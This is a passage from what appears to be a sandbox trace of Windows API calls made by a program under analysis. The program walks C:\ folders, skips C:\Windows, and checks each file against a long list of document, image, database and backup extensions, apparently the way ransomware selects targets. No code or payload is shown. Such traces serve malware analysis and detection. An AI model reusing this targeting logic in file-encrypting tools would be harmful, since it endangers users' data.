ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x9731f0 [0033.915] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0033.915] lstrlenW (lpString="$Recycle.Bin") returned 12 [0033.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0033.915] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0033.915] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0033.915] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x973230 [0033.915] FindNextFileW (in: hFindFile=0x973230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.915] FindNextFileW (in: hFindFile=0x973230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0033.915] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0033.915] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0033.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0033.915] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0033.916] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0033.916] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x974278 [0033.916] FindNextFileW (in: hFindFile=0x974278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.916] FindNextFileW (in: hFindFile=0x974278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0033.916] lstrlenW (lpString="desktop.ini") returned 11 [0033.916] lstrlenW (lpString=".1cd") returned 4 [0033.916] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".3ds") returned 4 [0033.916] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".3fr") returned 4 [0033.916] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".3g2") returned 4 [0033.916] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".3gp") returned 4 [0033.916] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".7z") returned 3 [0033.916] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0033.916] lstrlenW (lpString=".accda") returned 6 [0033.916] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".accdb") returned 6 [0033.916] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".accdc") returned 6 [0033.916] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".accde") returned 6 [0033.916] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".accdt") returned 6 [0033.916] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".accdw") returned 6 [0033.916] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0033.916] lstrlenW (lpString=".adb") returned 4 [0033.916] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0033.916] lstrlenW (lpString=".adp") returned 4 [0033.916] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai") returned 3 [0033.917] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0033.917] lstrlenW (lpString=".ai3") returned 4 [0033.917] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai4") returned 4 [0033.917] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai5") returned 4 [0033.917] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai6") returned 4 [0033.917] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai7") returned 4 [0033.917] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ai8") returned 4 [0033.917] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".anim") returned 5 [0033.917] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0033.917] lstrlenW (lpString=".arw") returned 4 [0033.917] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".as") returned 3 [0033.917] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0033.917] lstrlenW (lpString=".asa") returned 4 [0033.917] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".asc") returned 4 [0033.917] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".ascx") returned 5 [0033.917] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0033.917] lstrlenW (lpString=".asm") returned 4 [0033.917] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".asmx") returned 5 [0033.917] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0033.917] lstrlenW (lpString=".asp") returned 4 [0033.917] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".aspx") returned 5 [0033.917] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0033.917] lstrlenW (lpString=".asr") returned 4 [0033.917] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".asx") returned 4 [0033.917] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".avi") returned 4 [0033.917] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".avs") returned 4 [0033.917] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".backup") returned 7 [0033.917] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0033.917] lstrlenW (lpString=".bak") returned 4 [0033.917] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".bay") returned 4 [0033.917] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".bd") returned 3 [0033.917] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0033.917] lstrlenW (lpString=".bin") returned 4 [0033.917] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".bmp") returned 4 [0033.917] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0033.917] lstrlenW (lpString=".bz2") returned 4 [0033.918] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".c") returned 2 [0033.918] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0033.918] lstrlenW (lpString=".cdr") returned 4 [0033.918] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cer") returned 4 [0033.918] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cf") returned 3 [0033.918] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0033.918] lstrlenW (lpString=".cfc") returned 4 [0033.918] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cfm") returned 4 [0033.918] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cfml") returned 5 [0033.918] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0033.918] lstrlenW (lpString=".cfu") returned 4 [0033.918] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".chm") returned 4 [0033.918] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cin") returned 4 [0033.918] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".class") returned 6 [0033.918] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0033.918] lstrlenW (lpString=".clx") returned 4 [0033.918] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".config") returned 7 [0033.918] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0033.918] lstrlenW (lpString=".cpp") returned 4 [0033.918] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cr2") returned 4 [0033.918] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".crt") returned 4 [0033.918] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".crw") returned 4 [0033.918] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cs") returned 3 [0033.918] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0033.918] lstrlenW (lpString=".css") returned 4 [0033.918] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".csv") returned 4 [0033.918] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".cub") returned 4 [0033.918] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".dae") returned 4 [0033.918] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".dat") returned 4 [0033.918] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".db") returned 3 [0033.918] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0033.918] lstrlenW (lpString=".dbf") returned 4 [0033.918] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".dbx") returned 4 [0033.918] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".dc3") returned 4 [0033.918] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0033.918] lstrlenW (lpString=".dcm") returned 4 [0033.919] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dcr") returned 4 [0033.919] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".der") returned 4 [0033.919] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dib") returned 4 [0033.919] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dic") returned 4 [0033.919] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dif") returned 4 [0033.919] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".divx") returned 5 [0033.919] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".djvu") returned 5 [0033.919] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".dng") returned 4 [0033.919] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".doc") returned 4 [0033.919] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".docm") returned 5 [0033.919] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".docx") returned 5 [0033.919] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".dot") returned 4 [0033.919] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dotm") returned 5 [0033.919] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".dotx") returned 5 [0033.919] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".dpx") returned 4 [0033.919] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dqy") returned 4 [0033.919] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dsn") returned 4 [0033.919] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dt") returned 3 [0033.919] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0033.919] lstrlenW (lpString=".dtd") returned 4 [0033.919] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dwg") returned 4 [0033.919] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dwt") returned 4 [0033.919] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".dx") returned 3 [0033.919] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0033.919] lstrlenW (lpString=".dxf") returned 4 [0033.919] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".edml") returned 5 [0033.919] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0033.919] lstrlenW (lpString=".efd") returned 4 [0033.919] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".elf") returned 4 [0033.919] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".emf") returned 4 [0033.919] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0033.919] lstrlenW (lpString=".emz") returned 4 [0033.920] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".epf") returned 4 [0033.920] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".eps") returned 4 [0033.920] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".epsf") returned 5 [0033.920] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0033.920] lstrlenW (lpString=".epsp") returned 5 [0033.920] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0033.920] lstrlenW (lpString=".erf") returned 4 [0033.920] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".exr") returned 4 [0033.920] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".f4v") returned 4 [0033.920] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".fido") returned 5 [0033.920] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0033.920] lstrlenW (lpString=".flm") returned 4 [0033.920] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".flv") returned 4 [0033.920] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".frm") returned 4 [0033.920] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".fxg") returned 4 [0033.920] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".geo") returned 4 [0033.920] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".gif") returned 4 [0033.920] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".grs") returned 4 [0033.920] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".gz") returned 3 [0033.920] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0033.920] lstrlenW (lpString=".h") returned 2 [0033.920] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0033.920] lstrlenW (lpString=".hdr") returned 4 [0033.920] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".hpp") returned 4 [0033.920] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".hta") returned 4 [0033.920] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".htc") returned 4 [0033.920] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".htm") returned 4 [0033.920] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".html") returned 5 [0033.920] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0033.920] lstrlenW (lpString=".icb") returned 4 [0033.920] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".ics") returned 4 [0033.920] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".iff") returned 4 [0033.920] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".inc") returned 4 [0033.920] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0033.920] lstrlenW (lpString=".indd") returned 5 [0033.920] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0033.921] lstrlenW (lpString=".ini") returned 4 [0033.921] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0033.921] FindNextFileW (in: hFindFile=0x974278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0033.921] FindClose (in: hFindFile=0x974278 | out: hFindFile=0x974278) returned 1 [0033.921] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0033.921] FindNextFileW (in: hFindFile=0x973230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0033.921] FindClose (in: hFindFile=0x973230 | out: hFindFile=0x973230) returned 1 [0033.921] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39306e0 | out: hHeap=0x880000) returned 1 [0033.921] FindNextFileW (in: hFindFile=0x9731f0, lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0033.921] lstrlenW (lpString="C:\\Boot") returned 7 [0033.921] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0033.921] lstrlenW (lpString="Boot") returned 4 [0033.921] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0033.921] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0033.921] lstrlenW (lpString="C:\\Boot") returned 7 [0033.921] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x974238 [0033.921] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.921] FindNextFileW (in: hFindFile=0x974238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0033.921] lstrlenW (lpString="BCD") returned 3 [0033.922] lstrlenW (lpString=".1cd") returned 4 [0033.922] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".3ds") returned 4 [0033.922] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".3fr") returned 4 [0033.922] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".3g2") returned 4 [0033.922] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".3gp") returned 4 [0033.922] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".7z") returned 3 [0033.922] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.922] lstrlenW (lpString=".accda") returned 6 [0033.922] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".accdb") returned 6 [0033.922] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".accdc") returned 6 [0033.922] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".accde") returned 6 [0033.922] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".accdt") returned 6 [0033.922] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".accdw") returned 6 [0033.922] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".adb") returned 4 [0033.922] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".adp") returned 4 [0033.922] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai") returned 3 [0033.922] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0033.922] lstrlenW (lpString=".ai3") returned 4 [0033.922] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai4") returned 4 [0033.922] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai5") returned 4 [0033.922] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai6") returned 4 [0033.922] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai7") returned 4 [0033.922] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".ai8") returned 4 [0033.922] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".anim") returned 5 [0033.922] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".arw") returned 4 [0033.922] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".as") returned 3 [0033.922] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0033.922] lstrlenW (lpString=".asa") returned 4 [0033.922] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0033.922] lstrlenW (lpString=".asc") returned 4 [0033.922] 